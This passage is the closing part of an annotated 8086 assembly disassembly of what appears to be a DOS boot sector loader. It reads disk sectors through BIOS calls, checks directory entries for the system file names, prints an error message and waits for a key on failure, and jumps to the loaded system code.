ADD AX,CX ;0957 03C1
DEC AX ;0959 48
DIV CX ;095A F7F1
ADD [0024],AX ;095C 01062400
MOV CL,[002A] ;0960 8A0E2A00
MOV AX,[0024] ;0964 A12400
CALL ;0971 ;0967 E80700
PUSH ES ;096A 06
POP DS ;096B 1F
JMP 0070:0000 ;096C EA00007000
;
;HEAVY NUMBER CRUNCHING HERE ;
PUSH BX ;0971 53
PUSH AX ;0972 50
MOV AL,CL ;0973 8AC1
MUL Byte Ptr [002B] ;0975 F6262B00
MOV [0029],AL ;0979 A22900
POP AX ;097C 58
MUL Word Ptr [002B] ;097D F7262B00
DIV Word Ptr [SI+0D] ;0981 F7740D
INC DL ;0984 FEC2
MOV [0028],DL ;0986 88162800
PUSH DX ;098A 52
XOR DX,DX ;098B 33D2
DIV Word Ptr [SI+0F] ;098D F7740F
MOV [0021],DL ;0990 88162100
MOV [0026],AX ;0994 A32600
POP DX ;0997 5A
MOV CL,[0029] ;0998 8A0E2900
ADD DL,CL ;099C 02D1
MOV AX,[SI+0D] ;099E 8B440D
INC AX ;09A1 40
CMP DL,AL ;09A2 3AD0
JBE ;09AC ;09A4 7606
SUB AL,[0028] ;09A6 2A062800
MOV CL,AL ;09AA 8AC8
MOV AL,CL ;09AC 8AC1
MOV DX,[0026] ;09AE 8B162600
MOV CL,06 ;09B2 B106
SHL DH,CL ;09B4 D2E6
OR DH,[0028] ;09B6 0A362800
MOV CX,DX ;09BA 8BCA
XCHG CH,CL ;09BC 86E9
MOV DX,[0020] ;09BE 8B162000
MOV AH,02 ;READ SECTOR
PUSH AX ;
INT 13 ;
POP AX ;09C7 58
JB ;09FC ;09C8 7232
SUB [0029],AL ;09CA 28062900
JBE ;09F5 ;09CE 7625
CBW ;09D0 98
MUL Word Ptr [002D] ;09D1 F7262D00
ADD BX,AX ;09D5 03D8
INC Byte Ptr [0021] ;09D7 FE062100
MOV DL,[0021] ;09DB 8A162100
CMP DL,[SI+0F] ;09DF 3A540F
MOV DL,01 ;09E2 B201
MOV [0028],DL ;09E4 88162800
JB ;0998 ;09E8 72AE
MOV Byte Ptr [0021],00 ;09EA C606210000
INC Word Ptr [0026] ;09EF FF062600
JMP ;0998 ;09F3 EBA3
POP BX ;09F5 5B
RET ;09F6 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV SI,01B3 ;09F7 BEB301
JMP ;09FF ;09FA EB03
MOV SI,01C5 ;09FC BEC501
CALL L0A15 ;09FF E81300
MOV SI,01D4 ;0A02 BED401
CALL L0A15 ;0A05 E80D00
MOV AH,00 ;0A08 B400
INT 16 ;0A0A CD16
MOV AH,01 ;0A0C B401
INT 16 ;0A0E CD16
JNZ 0A0C ;0A10 75FA
JMP ;08F8 ;0A12 E9E3FE
;
L0A15: LODSB ;L0A15
OR AL,AL ;0A16 0AC0
JZ 0A23 ;0A18 7409
MOV AH,0E ;0A1A B40E
MOV BX,0007 ;0A1C BB0700
INT 10 ;0A1F CD10
JMP L0A15 ;0A21 EBF2
RET ;0A23 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV CL,01 ;0A24 B101
CALL ;0971 ;0A26 E848FF
PUSH SI ;0A29 56
MOV DI,BX ;0A2A 8BFB
MOV AX,ES:[BX+1C] ;0A2C 268B471C
XOR DX,DX ;0A30 33D2
DIV Word Ptr [SI] ;0A32 F734
INC AL ;0A34 FEC0
MOV [002A],AL ;0A36 A22A00
MOV SI,019D ;0A39 BE9D01
MOV CX,000B ;0A3C B90B00
REPZ ;0A3F F3
CMPSB ;0A40 A6
JNZ ;09F7 ;0A41 75B4
MOV AX,ES:[BX+3A] ;0A43 268B473A
MOV [0022],AX ;0A47 A32200
MOV DI,BX ;0A4A 8BFB
ADD DI,+20 ;0A4C 83C720
MOV SI,01A8 ;0A4F BEA801
MOV CX,000B ;0A52 B90B00
REPZ ;0A55 F3
CMPSB ;0A56 A6
JNZ ;09F7 ;0A57 759E
POP SI ;0A59 5E
RET ;0A5A C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CODE ENDS ;
END ;
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